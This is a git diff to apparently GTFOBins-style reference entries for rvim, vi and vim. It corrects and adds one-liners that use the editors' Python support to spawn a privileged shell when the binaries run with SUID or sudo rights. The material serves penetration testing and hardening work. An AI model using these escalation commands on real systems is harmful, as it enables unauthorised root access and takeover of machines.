diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md index 514f164..1ae6056 100644 --- a/_gtfobins/rvim.md +++ b/_gtfobins/rvim.md @@ -14,7 +14,7 @@ functions: - code: rvim file_to_read suid: - description: This requires that `rvim` is compiled with Python support. - code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' + code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - description: This requires that `rvim` is compiled with Python support. code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md index 2d34cb4..8139122 100644 --- a/_gtfobins/vi.md +++ b/_gtfobins/vi.md @@ -18,6 +18,8 @@ functions: - code: vi file_to_read suid: - code: ./vi -c ':!/bin/sh -p' + - description: This requires that `vi` is compiled with Python support. + code: ./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - code: sudo vi -c ':!/bin/sh' - description: This requires that `vi` is compiled with Python support. diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 595f705..9e2ea11 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -18,6 +18,8 @@ functions: - code: vim file_to_read suid: - code: ./vim -c ':!/bin/sh -p' + - description: This requires that `vim` is compiled with Python support. + code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - code: sudo vim -c ':!/bin/sh' - description: This requires that `vim` is compiled with Python support.